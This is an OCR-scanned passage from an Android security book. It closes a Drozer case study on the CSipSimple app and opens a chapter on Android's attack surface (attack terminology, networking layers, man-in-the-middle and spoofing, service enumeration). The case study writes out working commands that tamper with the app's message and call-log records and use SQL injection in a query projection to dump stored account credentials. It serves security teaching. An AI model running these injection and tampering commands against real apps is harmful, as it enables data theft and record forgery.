dz> run app. provider.update content://comcsipsimple.db/ messages 

--selection "id=?" --selection-args 1 --string receiver "sip: badguy@ostel.co" 

--string contact "Sip: badguy@ostel.co" --string body "omg crimes" 


--Sstring full sender "<sip: badguy@ostel.co>" 
Done. 
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You changed the receiver from bob@ostel.co tobadguy@ostel.co,and the 
message from Hello! toomg crimes. Figure 4-9 shows how the screen has been 
updated. 


+h Ooi p + Y @ Shi 
A ®© L © 


New message 
New message 


badguy 


omg 


Figure 4-8: CSipSimple message log screen Figure 4-9: CSipSimple modified message 
log screen 


You also saw the cal | | ogs provider, which you can also query: 


dz> run app. provider. query content://comcsipsimple.db/calllogs 
id | name numberlabel | numbertype | date | duration 
new | numbe | type | account_id | status_code | status_ 
text 
5 | nul null | 0 | 1372294364590 | 286 | 0 
| "Bob" <sip:bob@ostel.co>| 1 | 1 | 200 
Normal call clearing 
| nul nul | | 0 | 1372294151478 | 34 | 0 
| <sip: bob@ostel.co> | 2 fe | 200 
Normal call clearing 
Much like the messages provider and messages screen, cal | | ogs data shows 


up in the screen shown in Figure 4-10. 
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This data can also be updated in one fell swoop, using a selection constraint 
to update all the records for bob@ostel.co: 


dz> run app. provider.update content://com.csipsimple.db/calllogs 


--selection "number=?" --selection-args "<sip: bob@ostel.co>" 
--string number "<sip: badguy@ostel.co>" 
Done. 


Figure 4-11 shows how the screen with the call log updates accordingly. 


RESCH FH %4 
Ne E Oe 


badguy 


igh 


P 9 USACE 


(5) 14 hours ag 


Figure 4-10: CSipSimple call log screen Figure 4-11: CSipSimple modified call log 
screen 


Injection 


Content Providers with inadequate input validation or whose queries are built 
improperly, such as through unfiltered concatenation of user input, can be vul- 
nerable to injection. This can manifest in different ways, such as SQL injection 
(for SQLite backed providers) and directory traversal (for file-system-backed 
providers). Drozer provides modules for discovering these issues, such as the 
scanner. provider. traversal andscanner. provider. injection modules. 
Running the scanner. provider. injection module highlights SQL injection 
vulnerabilities in CSipSimple: 


dz> run scanner. provider.injection -a com.csipsimple 
Scanning com.csipsimple... 
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Not Vulnerable: 


content://com.csipsimple. prefs/raz 
content://com.csipsi mple. db/ 
content://com.csi psi mple. prefs/ 


content://com.csipsimple.db/accounts status/ 


Injection in Projection: 
content://com.csipsim 
content://com.csipsim 
content://com.csipsim 
content://com.csipsim 


.db/calllogs 
.db/outgoing filters 
.db/accounts/ 
.db/accounts 


Oo So Ss 
ooo o 


Injection in Selection: 
content://com.csipsimple.db/thread/ 
content://com. csipsimple.db/calllogs 
content://com.csipsimple.db/outgoing filters 


In the event that the same SQLite database backs multiple providers, much 
like traditional SQL injection in web applications, you can retrieve the contents 
of other tables. First, look at what’s actually in the database backing these pro- 
viders, once again querying cal || ogs using the app. provider. query module. This 
time, add apr oj ect i on argument, which specifies the columns to select, though 
you'll pull the SQLite schema with * FROM SQLITE_MASTER--. 


dz> run app. provider. query content://com.csipsimple.db/calllogs 
--projection "* FROM SQLITE_MASTER--" 
type name | tbl_name rootpage sql 


table android_metadata | android metadata 3 CREATE TABLE 
android metadata (locale TEXT) 


table accounts | accounts 4 CREATE TABLE 
accounts (id INTEGER PRIMARY KEY AUTOINCREMENT, active INTEGER, wizard 
TEXT, displ ay_name TEXT, p 
jority INTEGER, acc_id TEXT NOT NULL, reg_u TEXT, mwi_enabled BOOLEAN 

publish enabled INTEGER, reg_ timeout INTEGER, ka_interval INTEGER, pidf_tuple_id 
TEXT, force contac 
t TEXT, allow_contact_rewrite TEGER, contact _rewrite_ method INTEGER 
contact_params TEXT, contact_uri_params TEXT, transport 
NTEGER, default_uri_scheme TEXT, use _srtp 
TEGER, use_zrtp INTEGER, proxy TEXT, reg_use_proxy INTEGER, real m TEXT 
scheme TEXT, username TEXT, datatype INTEGER, data TEXT,initial auth 
NTEGER, auth_algo TEXT,sip_stack 
TEGER, vm nbr TEXT, reg_dbr INTEGER, try_clean_reg INTEGER 
use rfc5626 INTEGER DEFAULT 1,rfc5626_instance_id TEXT,rfc5626 reg id 
TEXT, vid_in_auto_show INTEGER DEFAUL 
T -1,vid_out_auto_transmit INTEGER DEFAULT -1,rtp_port INTEGER DEFAULT - 
l,rtp_enable_ qos TEGER DEFAULT -1,rtp_qos_dscp INTEGER DEFAULT - 
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1,rtp_bound add 
ublic_addr TEXT, 
si p_ 
NTEGER DEFAULT 
-l,ice_cfg_enab 
turn_cfg_enable 
TEXT 

me di 
table 


sqlite sequence 


TEXT, rtp_p 


android_group TEXT, allow_via_rewrite INTEGER DEFAULT 0, 


stun_use INTEGER DEFAULT -1, media_stun_use INTEGER DEFAULT -1,ice_cfg_use 


e INTEGER DEFAULT 0,turn_cfg_use INTEGER DEFAULT -1, 
INTEGER DEFAULT 0,turn_cfg_server TEXT, turn_cfg_user 


,turn_cfg_pwd TEXT, i pv6_ 
a_use INTEGER DEFAULT 0, wizard_data TEXT) 
sqlite sequence 


sqlite sequence 
name, seq) 


5 


| CREATE TABLE 


You see that there’s a table called accounts, which presumably contains 
account data, including credentials. You can use fairly vanilla SQL injection in 
the projection of the query and retrieve the data in the accounts table, includ- 


ing login credentials. You'll use* FROM accounts- - 


in your query this time: 


dz> run app. provider. query content://com.csi psi mple.db/calllogs 
-- projection "* FROM accounts--" 
id | active | wizard | display_name | priority acc_id 
reg_uri | mwi_enabled | publish enabled eg_ timeout | ka_interval 
pidf_tuple_id | force contact | allow contact_rewrite 
contact_rewrite_method | contact_params | contact_uri_params | transport 
default_uri_scheme | use srtp use_zrtp 
proxy | reg_use_proxy | realm | scheme | username | datatype 
data | initial auth auth_algo | sip_stack 
i. | OSTN | OSTN | 100 
<si p: THI SISMYUSERNAME@ostel.co> | sip:ostel.co 1 | 1 
1800 | 0 | null | nul | 
2 | null | nul [3 
sip | -1 | 1 | sips:ostel.co:5061 | 3 
* | Digest | THISISMYUSERNAME | 0 | THISISMYPASSWORD | 0 
nul | | 0 | *98 | -1 | 1 | 1 | 


The flaws in CSipSimple that are discussed in the preceding sections have 
since been addressed. The CONFI GURE_ SI P permission was moved to a more explicit 
namespace (rather thanandroid. per mi ssi on) and was given a more detailed 
description of its use and impact. Also, the SQL injection vulnerabilities in the Content 
Providers were fixed, further limiting access to sensitive information. 


Summary 


This chapter gave an overview of some common security issues affecting Android 
applications. For each issue, the chapter presented a public example to help 
highlight the potential impact. You also walked through two case studies of 
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publicly available Android apps. Each case study detailed how to use common 
tools to assess the app, identify vulnerabilities, and exploit them. 

The first case study used Androguard to perform static analysis, disassem- 
bly, and decompilation of the target application. In doing this, you identified 
security-pertinent components you could attack. In particular, you found a 
device lock/unlock feature that used SMS messages for authorization. Next, 
you used dynamic analysis techniques, such as debugging the app, to augment 
and confirm the static analysis findings. Finally, you worked through some 
proof-of-concept code to forge an SMS message and exploit the application’s 
device unlock feature. 

The second case study demonstrated a quick and easy way to find Content 
Provider-related exposures in an application using Drozer. First, you discovered 
that user activity and sensitive message logs were exposed from the app. Next, 
you saw how easy it is to tamper with the stored data. Finally, the case study 
discussed going a step further and exploiting a SQL injection vulnerability to 
retrieve other sensitive data in the provider's database. 

In the next chapter, we will discuss the overall attack surface of Android, as 
well as how to develop overall strategies for attacking Android. 


127 


Understanding Android's Attack 
Surface 


Fully understanding a device’s attack surface is the key to successfully attack- 
ing or defending it. This is as true for Android devices as it is for any other 
computer system. A security researcher whose goal is to craft an attack using 
an undisclosed vulnerability would begin by conducting an audit. The first 
step in the audit process is enumerating the attack surface. Similarly, defend- 
ing a computer system requires understanding all of the possible ways that a 
system can be attacked. 

In this chapter, you will go from nearly zero knowledge of attack concepts 
to being able to see exactly where many of Android’s attack surfaces lie. First, 
this chapter clearly defines the attack vector and attack surface concepts. Next, 
it discusses the properties and ideologies used to classify each attack surface 
according to impact. The rest of the chapter divides various attack surfaces into 
categories and discusses the important details of each. You will learn about the 
many ways that Android devices can be attacked, in some cases evidenced by 
known attacks. Also, you will learn about various tools and techniques to help 
you explore Android's attack surface further on your own. 
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An Attack Terminology Primer 


Before diving into the depths of Android's attack surface, we must first define 
and clarify the terminology we use in this chapter. On a computer network, it 
is possible for users to initiate actions that can subvert the security of computer 
systems other than their own. These types of actions are called attacks; and thus 
the person perpetrating them is called an attacker. Usually the attacker aims 
to influence the confidentiality, integrity, or accessibility (CIA) of the target 
system. Successful attacks often rely on specific vulnerabilities present in the 
target system. The two most common topics when discussing attacks are attack 
vectors and attack surfaces. Although attack vectors and attack surfaces are inti- 
mately related, and thus often confused with one another, they are individual 
components of any successful attack. 


The Common Vulnerability Scoring System (CVSS) is a widely accepted stan- 
dard for classifying and ranking vulnerability intelligence. It combines several impor- 
tant concepts to arrive at a numeric score, which is then used to prioritize efforts to 
investigate or remediate vulnerabilities. 


Attack Vectors 


An attack vector generally refers to the means by which an attacker makes his 
move. It describes the methods used to carry out an attack. Simply put, it describes 
how you reach any given vulnerable code. If you look deeper, attack vectors 
can be classified based on several criteria, including authentication, accessibil- 
ity, and difficulty. These criteria are often used to prioritize how to respond 
to publicly disclosed vulnerabilities or ongoing attacks. For example, sending 
electronic mail to a target is a very high-level attack vector. It’s an action that 
typically doesn’t require authentication, but successful exploitation may require 
the recipient to do something, such as read the message. Connecting to a listen- 
ing network service is another attack vector. In this case, authentication may 
or may not be required. It really depends on where in the network service the 
vulnerability lies. 


Megida MITRE's Common Attack Pattern Enumeration and Classification (CAPEC) 
project aims to enumerate and classify attacks into patterns. This project includes and 
extends on the concept of traditional attack vectors. 


Attack vectors are often further classified based on properties of common 
attacks. For example, sending electronic mail with an attachment is a more 
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specific attack vector than just sending electronic mail. To go further, you could 
specify the exact type of attachment. Another, more specific attack vector based 
on electronic mail is one where an attacker includes a clickable uniform resource 
locator (URL) inside the message. If the link is clickable, curiosity is likely to get 
the better of the recipient and they will click the link. This action might lead to 
a successful attack of the target’s computer. Another example is an image pro- 
cessing library. Such a library may have many functions that lead to execution 
of the vulnerable function. These can be considered vectors to the vulnerable 
function. Likewise, a subset of the application programming interface (API) 
exposed by the library may trigger execution of the vulnerable function. Any 
of these API functions may also be considered a vector. Finally, any program 
that leverages the vulnerable library could also be considered a vector. These 
classifications help defenders think about how attacks could be blocked and 
help attackers isolate where to find interesting code to audit. 


Attack Surfaces 


An attack surface is generally understood as a target’s open flanks—that is to say, 
the characteristics of a target that makes it vulnerable to attack. It is a physical 
world metaphor that’s widely adopted by information security professionals. 
In the physical world, an attack surface is the area of an object that is exposed 
to attack and thus should be defended. Castle walls have moats. Tanks have 
strategically applied armor. Bulletproof vests protect some of the most vital 
organs. All of these are examples of defended attack surfaces in the physical 
world. Using the attack surface metaphor allows us to remove parts of informa- 
tion security from an abstract world to apply proven logical precepts. 

More technically speaking, an attack surface refers to the code that an attacker 
can execute and therefore attack. In contrast to an attack vector, an attack surface 
does not depend on attackers’ actions or require a vulnerability to be present. 
Simply put, it describes where in code vulnerabilities might be waiting to be 
discovered. In our previous example, an e-mail-based attack, the vulnerability 
might lie in the attack surface exposed by the mail server’s protocol parser, the 
mail user agent’s processing code, or even the code that renders the message on 
the recipient's screen. In a browser-based attack, all the web-related technolo- 
gies supported by the browser constitute attack surfaces. Hypertext Transfer 
Protocol (HTTP), Hypertext Markup Language (HTML), Cascading Style Sheets 
(CSS), and Scalable Vector Graphics (SVG) are examples of such technologies. 
Remember, though, by definition, no vulnerabilities need be present for an attack 
surface to exist. If a particular piece of code can be exercised by an attacker, it 
is a considered an attack surface and should be studied accordingly. 

Similar to attack vectors, attack surfaces can be discussed both in general and 
in increasingly specific terms. Exactly how specific one chooses to be usually 
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depends on context. If someone is discussing the attack surface of an Android 
device at a high level, they might point out the wireless attack surface. In con- 
trast, when discussing the attack surface of a particular program they might 
point out a specific function or API. Further still, in the context of local attacks, 
they might point out a specific file system entry on a device. Studying one 
particular attack surface often reveals additional attack surfaces, such as those 
exposed through multiplexed command processing. A good example is a func- 
tion that parses a particular type of packet inside a protocol implementation 
that encompasses many different types of packets. Sending a packet of one 
type would reach one attack surface whereas sending a packet of another type 
would reach a different one. 

As discussed later in the “Networking Concepts” section, Internet commu- 
nications are broken up into several logical layers. As data traverses from one 
layer to the next, it passes through many different attack surfaces. Figure 5-1 
shows an example of this concept. 


Web Server 
Ports 


PHP 
Application 
Code 


PHP 


Web Server Interpreter 


Figure 5-1: Attack surfaces involved in a PHP web app 


In Figure 5-1, the outermost attack surface of the system in question consists 
of the two web server ports. If the attack vector is a normal request (not an 
encrypted one), the underlying attack surface of the web server software, as well 
as any server-side web applications, are reachable. Choosing to target a PHP web 
application, application code and the PHP interpreter both handle untrusted 
data. As untrusted data is passed along, more attack surfaces are exposed to it. 

Ona final note, a given attack surface might be reachable by a number of attack 
vectors. For example, a vulnerability in an image processing library might be 
triggered via an e-mail, a web page, an instant messaging application, or other 
vectors. This is especially relevant when vulnerabilities are patched. If the fix is 
only applied to one vector, the issue may still be exploited via remaining vectors. 
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Classifying Attack Surfaces 


Generally the size of a target’s attack surface is directly proportional to how 
much it interfaces with other systems, code, devices, users, and even its own 
hardware. Many Android devices aim to interface with anything and everything. 
In support of this point, Verizon used the phrase “Droid Does” to advertise just 
how many things you can do with their device. Because the attack surface of an 
Android device is so vast, dissection and classification is necessary. 


Surface Properties 


Researchers, including both attackers and defenders, look at the various proper- 
ties of attack surfaces to make decisions. Table 5-1 depicts several key properties 
and the reasoning behind their importance. 


Table 5-1: Key Attack Surface Properties 


PROPERTY REASONING 


Attack Vector User interaction and authentication requirements limit the impact 
of any vulnerability discovered in a given attack surface. Attacks that 
require the target user to do something extraordinary are less severe 
and may require social engineering to succeed. Likewise, some attack 
surfaces can be reached only with existing access to the device or 
within certain physical proximities. 


Privileges Gained The code behind a given attack surface might execute with extremely 
high privileges (such as in kernel-space), or it might execute inside a 
sandbox with reduced privileges. 


Memory Safety Programs written in non-memory-safe languages like C and C++ are 
susceptible to more classes of vulnerabilities than those written with 
memory-safe languages like Java. 


Complexity Complex code, algorithms, and protocols are difficult to manage and 
increase the probability of a programmer making a mistake. 


Understanding and analyzing these properties helps guide research priori- 
ties and improves overall effectiveness. By focusing on particularly risky attack 
surfaces (low requirements, high privileges, non-memory-safe, high complexity, 
and so on), a system can be attacked or secured more quickly. As a general rule, 
an attacker seeks to gain as much privilege as possible with as little investment 
as possible. Thus, especially risky attack surfaces are a logical place to focus. 
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Classification Decisions 


Because Android devices have such a large and complex set of attack surfaces, 
it is necessary to break them down into groups based on common properties. 
The rest of this chapter is split into several high-level sections based on the 
level of access required to reach a given attack surface. Like an attacker would, 
it starts with the most dangerous, and thus the most attractive, attack surfaces. 
As necessary, many of the sections are split into subsections that discuss deeper 
attack surfaces. For each attack surface, we provide background information, 
such as the intended functionality. In several cases, we provide tools and tech- 
niques for discovering specific properties of the underlying code exposed by 
the attack surface. Finally, we discuss known attacks and attack vectors that 
exercise vulnerabilities in that attack surface. 


Remote Attack Surfaces 


The largest and most attractive attack surface exposed by an Android device, 
or any computer system, is classified as remote. This name, which is also an 
attack vector classification, comes from the fact that the attacker need not be 
physically located near her victim. Instead, attacks are executed over a computer 
network, usually the Internet. Attacks against these types of attack surfaces 
can be particularly devastating because they allow an unknown attacker to 
compromise the device. 

Looking closer, various properties further divide remote attack surfaces into 
distinct groups. Some remote attack surfaces are always reachable whereas 
others are reachable only when the victim initiates network communications. 
Issues where no interaction is required are especially dangerous because they 
are ripe for propagating network worms. Issues that require minor interaction, 
such as clicking a link, can also be used to propagate worms, but the worms 
would propagate less quickly. Other attack surfaces are reachable only when 
the attacker is in a privileged position, such as on the same network as his 
victim. Further, some attack surfaces only deal with data that has already been 
processed by an intermediary, such as a mobile carrier or Google. 

The next subsection provides an overview to several important networking 
concepts and explains a few key differences unique to mobile devices. The fol- 
lowing subsections discuss in more detail the various types of remote attack 
surfaces exposed by Android devices. 


Networking Concepts 


A solid understanding of fundamental networking concepts is necessary to 
truly comprehend the full realm of possible attacks that can traverse computer 


Chapter 5 = Understanding Android’s Attack Surface 


networks. Concepts such as the Open Systems Interconnection (OSI) model and 
the client-server model describe abstract building blocks used to conceptualize 
networking. Typical network configurations put constraints on exactly what 
types of attacks can be carried out, thereby limiting the exposed attack surface. 
Knowing these constraints, and the avenues to circumvent them, can improve 
both attackers’ and defenders’ chances of success. 


The Internet 


The Internet, founded by the United States Defense Advanced Research Projects 
Agency (DARPA), is an interconnected network of computer systems. Home 
computers and mobile devices are the outermost nodes on the network. Between 
these nodes sit a large number of back-end systems called routers. When a smart- 
phone connects to a website, a series of packets using various protocols traverse 
the network in order to locate, contact, and exchange data with the requested 
server. The computers between the endpoints, each referred to as a hop, make 
up what is called a network path. Cellular networks are very similar except that 
cell phones communicate wirelessly to the closest radio tower available. As a 
user travels, the tower her device talks to changes as well. The tower becomes 
the cell phone’s first hop in its path to the Internet. 


OSI Model 


The OSI model describes seven distinct layers involved in network communica- 
tions. Figure 5-2 shows these layers and how they are stacked upon one another. 


Layer 7: Application 


Layer 6: Presentation | 


Layer 5: Session 


Layer 4: Transport 


Layer 3: Network 


Layer 2: Data Link 


Layer 1: Physical 


Figure 5-2: OSI seven-layer model 


m Layer 1—The physical layer describes how two computers communicate 
data to one another. At this layer, we are talking zeroes and ones. Portions 
of Ethernet and Wi-Fi operate in this layer. 
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m Layer 2—The data link layer adds error-correction capabilities to data 
transmissions traversing the physical layer. The remaining portions of 
Ethernet and Wi-Fi, as well as Logical Link Control (LLC) and Address 
Resolution Protocol (ARP), operate in this layer. 


m Layer 3—The network layer is the layer where Internet Protocol (IP), 
Internet Control Message Protocol (ICMP), and Internet Gateway Message 
Protocol (IGMP) operate. The goal of the network layer is to provide rout- 
ing mechanisms such that data packets can be sent to the host to which 
they are destined. 


m Layer 4—The transport layer aims to add reliability to data transmissions 
traversing the lower layers. The Transmission Control Protocol (TCP) and 
User Datagram Protocol (UDP) are said to operate at this layer. 


m Layer 5—The session layer manages, as its name suggests, sessions between 
hosts on a network. Transport Layer Security (TLS) and Secure Socket 
Layer (SSL) both operate in this layer. 


m Layer 6—The presentation layer deals with hosts syntactically agreeing 
upon how they will represent their data. Though very few protocols 
operate at this layer, Multipurpose Internet Mail Extensions (MIME) is 
one notable standard that does. 


m Layer 7—The application layer is where data is generated and consumed 
directly by the client and server applications of high-level protocols. 
Standard protocols in this layer include Domain Name System (DNS), 
Dynamic Host Configuration Protocol (DHCP), File Transfer Protocol 
(FTP), Simple Network Management Protocol (SNMP), Hypertext Transfer 
Protocol (HTTP), Simple Mail Transfer Protocol (SMTP), and more. 


Modern network communications have extended beyond the seven-layer 
OSI model. For example, web services are often implemented with one or more 
additional layers on top of HTTP. In Android, Protocol Buffers (protobufs) are 
used to transmit structured data and implement Remote Procedure Call (RPC) 
protocols. Although protobufs appear to provide a presentation layer function, 
such communications regularly use HTTP transport. The lines between the 
layers are blurry. 

The protocols mentioned in this section play an integral role in modern 
Internet-connected devices. Android devices support and utilize all of the pro- 
tocols mentioned here in one way, shape, or form. Later sections discuss how 
these protocols and the attack surfaces that correspond to them come into play. 


Network Configurations and Defenses 


Today’s Internet ecosystem is much different than it was in 1980s. In that time, 
the Internet was mostly open. Hosts could freely connect to each other and users 
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were generally considered trustworthy. In the late ‘80s and early ‘90s, network 
administrators started noticing malicious users intruding into computer systems. 
In light of the revelation that not all users could be trusted, firewalls were cre- 
ated and erected to defend networks at their perimeter. Since then, host-based 
firewalls that protect a single machine from its network are sometimes used, too. 

Fast-forward to 1999: Network Address Translation (NAT) was created to 
enable hosts within a network with private addresses to communicate with 
hosts on the open Internet. In 2013, the number of assignable IPv4 address 
blocks dwindled to an all-time low. NAT helps ease this pressure. For these 
reasons, NAT is commonplace in both home and cellular networks. It works 
by modifying addresses at the network layer. In short, the NAT router acts as 
a transparent proxy between the wide area network (WAN) and the hosts on 
the local area network (LAN). Connecting from the WAN to a host on the LAN 
requires special configuration on the NAT router. Without such a configura- 
tion, NAT routers act as a sort of firewall. As a result, NAT renders some attack 
surfaces completely unreachable. 

Although they are both accessed wirelessly, mobile carrier networks differ 
from Wi-Fi networks in how they are provisioned, configured, and controlled. 
Access to a given carrier’s network is tightly controlled, requiring that a Subscriber 
Identity Module (SIM) card be purchased from that carrier. Carriers often meter 
data usage, charging an amount per megabyte or gigabyte used. They also 
limit what mobile devices can do on their network by configuring the Access 
Point Name (APN). For example, it is possible to disable interclient connections 
through the APN. As mentioned before, carriers make extensive use of NAT as 
well. All of these things considered, carrier networks limit the exposed attack 
surface even further than home networks. Keep in mind, though, that not all 
carrier networks are the same. A less security-conscious carrier might expose 
all of its customers’ mobile devices directly to the Internet. 


Adjacency 


In networking, adjacency refers to the relationship between nodes. For the pur- 
poses of this chapter, there are two relevant relationships. One is between 
devices ona LAN. We call this relationship network adjacent or logically adjacent. 
This is in contrast to being physically adjacent where an attacker is within a 
certain physical proximity to her victim. An attacker can establish this type of 
relationship by directly accessing the LAN, compromising other hosts on it, or 
by traversing a Virtual Private Network (VPN). The other relevant relationship 
pertains to the privileged position of a router node. An attacker could establish 
this position by subverting network routing or compromising a router or proxy 
traversed by the victim. In doing so, the attacker is considered to be on-path. That 
is, they sit on the network path between a victim and the other remote nodes 
they communicate with. Achieving more trusted positions can enable several 
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types of attacks that are not possible otherwise. We’ll use these concepts later to 
explicitly state whether certain attack surfaces are reachable and, if so, to what 
extent they are reachable. 


Network Adjacency 


Being a neighbor on the same LAN as a target gives an attacker a privileged 
vantage point from which to conduct attacks. Typical LAN configurations leave 
the network rather open, much like the Internet in the days of old. First and fore- 
most, computers on a LAN are not behind any NAT and/or perimeter firewall. 
Also, there is usually no router between nodes. Packets are not routed using 
IP. Instead they are broadcasted or delivered based on Media Access Control 
(MAC) addresses. Little to no protocol validation is done on host-to-host traffic. 
Some LAN configurations even allow any node to monitor all communications 
on the network. Although this is a powerful ability by itself, combining it with 
other tricks enables even more powerful attacks. 

The fact that very little protocol validation takes place enables all sorts of 
spoofing attacks to succeed. In a spoofing attack, the attacker forges the source 
address of his packets in an attempt to masquerade as another host. This makes 
it possible to take advantage of trust relationships or conceal the real source of 
attack. These types of attacks are difficult to conduct on the open Internet due 
to anti-spoofing packet filter rules and inherent latency. Most attacks of this 
kind operate at or above the network layer, but this is not a strict requirement. 
One spoofing attack, called ARP spoofing or ARP cache poisoning, is carried 
out at layer 2. If successful, this attack lets an attacker convince a target node 
that it is the gateway router. This effectively pivots the attacker from being a 
neighbor to being an on-path device. Attacks possible from this vantage point 
are discussed more in the next section. The most effective defense against ARP 
spoofing attacks involves using static ARP tables, something that is impossible 
on unrooted mobile devices. Attacks against DNS are much easier because 
the low latency associated with network adjacency means attackers can easily 
respond faster than Internet-based hosts. Spoofing attacks against DHCP are 
also quite effective for gaining more control over a target system. 


On-Path Attacks 


On-path attacks, which are commonly known as Man-in-the-Middle (MitM) 
attacks, are quite powerful. By achieving such a trusted position in the network, 
the attacker can choose to block, alter, or forward any traffic that flows through 
it. The attacker could eavesdrop on the traffic and discover authentication cre- 
dentials, such as passwords or browser cookies, potentially even downgrading, 
stripping, or otherwise transparently monitoring encrypted communications. 
From such a trusted vantage point, an attacker could potentially affect a large 
number of users at once or selectively target a single user. Anyone that traverses 
this network path is fair game. 
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One way to leverage this type of position is to take advantage of inherent 
trust relationships between a target and his favorite servers. Many software 
clients are very trusting of servers. Although attackers can host malicious serv- 
ers that take advantage of this trust without being on-path, they would need to 
persuade victims to visit them. Being on-path means the attacker can pretend to 
be any server to which the target user connects. For example, consider a target 
that visits http://www. cnn. com/ each morning from his Android phone. An 
on-path attacker could pretend to be CNN, deliver an exploit, and present the 
original CNN site content so that the victim is none the wiser. We’ll discuss the 
client-side attack surface of Android in more detail in the “Client-side Attack 
Surface” section later in this chapter. 

Thankfully, achieving such a privileged role on the Internet is a rather difficult 
proposition for most attackers. Methods to become an on-path attacker include 
compromising routers or DNS servers, using lawful intercepts, manipulating 
hosts while network adjacent, and modifying global Internet routing tables. 
Another method, which seems less difficult than the rest in practice, is hijack- 
ing DNS via registrars. Another relatively easy way to get on-path is specific to 
wireless networks like Wi-Fi and cellular. On these networks, it is also possible 
to leverage physical proximity to manipulate radio communications or host a 
rogue access point or base station to which their target connects. 

Now that we've covered fundamental network concepts and how they relate 
to attacks and attackers, it’s time to dive deep into Android’s attack surface. 
Understanding these concepts is essential for knowing if a given attack surface 
is or is not reachable. 


Networking Stacks 


The holy grail of vulnerability research is a remote attack that has no victim 
interaction requirements and yields full access to the system. In this attack 
scenario, an attacker typically only needs the ability to contact the target host 
over the Internet. An attack of this nature can be as simple as a single packet, 
but may require lengthy and complex protocol negotiations. Widespread adop- 
tion of firewalls and NAT makes this attack surface much more difficult to 
reach. Thus, issues in the underlying code might be exposed only to network 
adjacent attackers. 

On Android, the main attack surface that fits this description is the networking 
stack within the Linux kernel. This software stack implements protocols like IP, 
TCP, UDP, and ICMP. Its purpose is to maintain network state for the operating 
system, which it exposes to user-space software via the socket API. If an exploit- 
able buffer overflow existed in the processing of IPv4 or IPv6 packets, it would 
truly represent the most significant type of vulnerability possible. Successfully 
exploiting such an issue would yield remote arbitrary code execution in kernel- 
space. There are very few issues of this nature, certainly none that have been 
publicly observed as targeting Android devices. 
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Kee Memory corruption vulnerabilities are certainly not the only type of issues 
that affect the network stack. For example, protocol-level attacks like TCP sequence 
number prediction are attributed to this attack surface. 


Unfortunately, enumerating this attack surface further is largely a manual pro- 
cess. On a live device, the / proc/net directory can be particularly enlightening. 
More specifically, the pt ype entry in that directory provides a list of the protocol 
types that are supported along with their corresponding receive functions. The 
following excerpt shows the contents on a Galaxy Nexus running Android 4.3. 


shel! @maguro:/ $ cat /proc/net/ptype 
Type Device Function 


0800 ip_rcvt0x0/0x430 
0011 ll c_rcev+0x0/0x314 
0004 llc _rcv+0x0/0x314 
00f5 phonet_rcv+0x0/0x524 
0806 arp_rcvt0x0/0x144 
86dd ipv6_rcvt0x0/0x600 


shell @maguro:/ $ 


From this output, you can see that this device’s kernel supports IPv4, IPv6, 
two types of LLC, PhoNet, and ARP. This, and more information, is available 
in the kernel’s build configuration. Instructions for obtaining the kernel build 
configuration is provided in Chapter 10. 


Exposed Network Services 


Network-facing services, which also don’t require victim interaction, are the 
second most attractive attack surface. Such services usually execute in user- 
space, eliminating the possibility for kernel-space code execution. There is 
some potential, although less so on Android, that successfully exploiting issues 
in this attack surface could yield root privileges. Regardless, exploiting issues 
exposed by this attack service allows an attacker to gain a foothold on a device. 
Additional access can then be achieved via privilege escalation attacks, discussed 
later in this chapter. 

Unfortunately though, most Android devices do not include any network 
services by default. Exactly how much is exposed depends on the software 
running on the device. For example, in Chapter 10 we explain how to enable 
Android Debug Bridge (ADB) access via TCP/IP. In doing so, the device would 
listen for connections on the network, exposing an additional attack surface that 
would not be present otherwise. Android apps are another way that network 
services could be exposed. Several apps listen for connections. Examples include 
those that provide additional access to the device using the Virtual Network 
Computing (VNC), Remote Desktop (RDP), Secure Shell (SSH), or other protocols. 
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Enumerating this attack surface can be done in two ways. First, research- 
ers can employ a port scanner such as Nmap to probe the device to see what, 
if anything, is listening. Using this method simultaneously tests device and 
network configuration. As such, the inability to find listening services does 
not mean a service is not listening. Second, they can list the listening ports of a 
test device using shell access. The following shell session excerpt serves as an 
example of this method: 


shell @maguro:/ $ netstat -an | grep LISTEN 
tcp6 0 OQ veeTT22 Pee LISTEN 
shell @maguro:/ $ 


The netstat command displays information from the tcp,tcp6,udp, and 
udp6 entries in the / proc/net directory. The output shows that something is 
listening on port 1122. This is the exact port that we told the SSH Server app 
from ICE COLD APPS to start an SSH server on. 

Additional network services also appear when the Portable Wi-Fi hotspot 
feature is enabled. The following shows the output from the net stat command 
after this feature was activated: 


shell @maguro:/ $ netstat -an 


Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0 127.0.0.1:53 0.0.0. O2* LISTEN 
tcp 0 0 192.168. 43.1: 53 000000" LISTEN 
udp 0 0 127.0.0.1:53 0. 0. 0. 02% CLOSE 
udp 0 0 192.168. 43.1: 53 0.0605. 00% CLOSE 
udp 0 0 0.0.0.0: 67 0.0.0.0:* CLOSE 


shell @maguro:/ $ 


The preceding example shows that a DNS server (TCP and UDP port 53) and 
a DHCP server (UDP port 67) are exposed to the network. Hosting a hotspot 
significantly increases the attack surface of an Android device. If the hotspot 
is accessible by untrusted users, they could reach these endpoints and more. 


Kegs] Retail devices often contain additional functionality that exposes more net- 
work services. Samsung’s Kies and Motorola’s DLNA are just two examples introduced 
by original equipment manufacturer (OEM) modifications to Android. 


As stated previously, network services are often unreachable due to the use 
of firewalls and NAT. In the case where an attacker is able to achieve network 
adjacency to a target Android device, these roadblocks go away. Further, there 
are known public methods for circumventing the firewall-like protections that 
NAT provides by using protocols like UPnP and NAT-PMP. These protocols can 
allow attackers to re-expose network services and therefore the attack surfaces 
they expose. 
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Mobile Technologies 


So far we have concentrated on attack surfaces that are common among all 
Internet-enabled devices. Mobile devices expose an additional remote attack 
surface through cellular communications. That attack surface is the one exposed 
through Short Message Service (SMS) and Multimedia Messaging Service (MMS) 
messages. These types of messages are sent from peer to peer, using the carri- 
ers’ cellular networks as transit. Therefore, the SMS and MMS attack surfaces 
usually have no adjacency requirements and usually do not require any inter- 
action to reach. 

Several additional attack surfaces can be reached by using SMS and MMS 
messages as an attack vector. For example, MMS messages can contain rich 
multimedia content. Also, other protocols are implemented on top of SMS. 
Wireless Application Protocol (WAP) is one such protocol. WAP supports push 
messaging in addition to quite a few other protocols. Push messages are deliv- 
ered to a device in an unsolicited manner. One type of request implemented as 
a WAP Push message is the Service Loading (SL) request. This request allows 
the subscriber to cause the handset to request a URL, sometimes without any 
user interaction. This effectively serves as an attack vector that turns a client- 
side attack surface into a remote one. 

In 2012, Ravi Borgaonkar demonstrated remote attacks against Samsung’s 
Android devices at EkoParty in Buenos Aires, Argentina. Specifically, he used 
